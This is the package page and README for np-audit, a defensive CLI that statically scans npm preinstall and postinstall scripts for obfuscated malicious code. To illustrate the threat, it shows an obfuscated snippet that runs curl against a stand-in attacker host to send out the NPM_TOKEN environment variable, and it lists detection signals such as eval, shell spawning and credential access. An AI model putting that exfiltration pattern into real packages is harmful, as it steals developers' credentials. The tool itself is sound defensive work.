Package Exports
- np-audit
- np-audit/src/cli.js
This package does not declare an exports field, so the exports above have been automatically detected and optimized by JSPM instead. If any package subpath is missing, it is recommended to post an issue to the original package (np-audit) to support the "exports" field. If that is not possible, create a JSPM override to customize the exports field for this package.
Readme
np-audit — npm package auditor
Statically detect obfuscated code in npm preinstall/postinstall scripts before they run. Drop-in replacement for npm install and npm ci.
Zero dependencies. Pure Node.js built-ins only.
The Attack Vector
Supply chain attacks targeting the npm ecosystem frequently abuse lifecycle scripts. When you run npm install, npm automatically executes any preinstall, install, or postinstall script defined in a package's package.json. Attackers ship packages that look legitimate but embed malicious payloads hidden behind obfuscation techniques:
{
"scripts": {
"postinstall": "node ./dist/install.js"
}
}Where dist/install.js contains something like:
// Obfuscated — hard to read by design
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl -s http://evil.example.com/\'+process.env.NPM_TOKEN)');Real-world examples include:
- event-stream (2018) — malicious postinstall that stole Bitcoin wallet credentials
- ua-parser-js (2021) — cryptocurrency miner + info-stealer injected via hijacked maintainer account
- node-ipc (2022) — wiper malware targeting systems by geo-IP
- colors / faker (2022) — deliberate sabotage by the maintainer via postinstall
- XZ Utils (2024) — multi-year social engineering + backdoor via build scripts (C ecosystem, but same pattern)
npa never executes the scripts. It downloads and statically analyzes them, detecting:
| Signal | Example |
|---|---|
eval() / new Function() |
eval(atob("aGVsbG8=")) |
| Obfuscator.io patterns | var _0x3f2a = [...] |
| High-entropy strings | Encrypted/compressed payloads |
| Hex escape density | \x68\x65\x6c\x6c\x6f |
String.fromCharCode() chains |
String.fromCharCode(104,101,108,108,111) |
| Base64 decode + exec | Buffer.from(x,'base64') + eval |
| Shell spawning | require('child_process').exec(...) |
| Large hex literal arrays | [0x1a, 0x2b, 0x3c, ...] × 20+ |
process.env access |
Token/credential harvesting |
| Outbound network calls | Data exfiltration |
Install
# Global install (recommended for daily use)
npm install -g np-audit
# Or use directly with npx (no install needed)
npx np-audit scan
npx np-audit installAfter global install, use the npa command:
npa --versionUsage
Commands
| Command | Alias | Description |
|---|---|---|
npa install [package] |
npa i [package] |
Audit then run npm install |
npa ci |
— | Audit then run npm ci |
npa scan |
npa s |
Scan only, no install |
npa config get |
npa c get |
Show current configuration |
npa config set <key> <value> |
npa c set <key> <value> |
Update a config value |
Flags
| Flag | Alias | Works with | Description |
|---|---|---|---|
--aware |
-a |
install, ci |
Interactive mode — choose which scripts to allow |
--json |
— | install, ci, scan |
Machine-readable JSON output |
--no-dev |
— | install, ci, scan |
Skip devDependencies |
--verbose |
— | all | Show fetch progress and extra detail |
--version |
— | — | Print version and exit |
--help |
-h |
— | Print help and exit |
Drop-in replacement for npm install
# Audit all dependencies, then install if clean
npa install # or: npa i
# Audit a specific package before adding it
npa i expressDrop-in replacement for npm ci
npa ciScan only (no install)
npa scan # or: npa s
npa s --json # machine-readable output
npa s --no-dev # skip devDependencies
npa s --verbose # show fetch progressInteractive --aware mode
Review each install script yourself and decide which to allow:
npa i --aware # or: npa i -a
npa ci --aware npa --aware mode
Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit
Found 3 package(s) with install scripts:
[✓ allow] esbuild@0.24.2 postinstall: post-install.js OK
▶ [✗ deny ] evil-sdk@1.0.0 postinstall: install.js BLOCK (score: 9)
[✓ allow] @scope/pkg@2.1.0 postinstall: install.js WARN (score: 5)
2 allowed 1 deniedAfter confirmation, npa runs npm install --ignore-scripts and then manually executes only the scripts you allowed.
Configuration
# Show current config
npa config get
# Change thresholds
npa config set blockScore 6 # block at score 6+ (default: 7)
npa config set warnScore 3 # warn at score 3+ (default: 4)
# Skip trusted packages or scopes
npa config set skipPackages '["esbuild","puppeteer"]'
npa config set skipScopes '["@types","@babel"]'Config is stored in ~/.npmauditor.json (global) and can be overridden per project with .npmauditor.json in your project root.
All config keys
| Key | Default | Description |
|---|---|---|
blockScore |
7 |
Score threshold for hard block (exit 1) |
warnScore |
4 |
Score threshold for warning (exit 0) |
registry |
https://registry.npmjs.org |
npm registry URL |
timeout |
30000 |
HTTP request timeout (ms) |
parallelFetches |
5 |
Concurrent tarball downloads |
skipScopes |
[] |
@scope prefixes to skip entirely |
skipPackages |
[] |
Specific package names to skip |
Exit codes
| Code | Meaning |
|---|---|
0 |
All packages clean or only warnings |
1 |
One or more packages blocked |
How it works
- Parse
package-lock.json(supports v1, v2, v3 formats) - Filter packages: skip dev deps (
--no-dev), skipped scopes/packages, packages without install scripts - Fetch or read — for packages in
node_modules: read from disk. For packages not yet installed: download the tarball from the npm registry and parse it in memory (pure Node.js tar.gz reader, notarpackage) - Analyze each
preinstall/install/postinstallscript file statically — never execute - Score findings (0–10 per signal), classify as BLOCK / WARN / OK based on config thresholds
- Report results to terminal or
--json - Proceed — run npm normally, or in
--awaremode let you selectively allow scripts
Development
git clone https://github.com/KoblerS/np-audit.git
cd np-audit
npm test # run all unit + E2E tests
npm link # install npa globally from sourceNo build step, no transpilation — plain Node.js ≥ 18.
License
MIT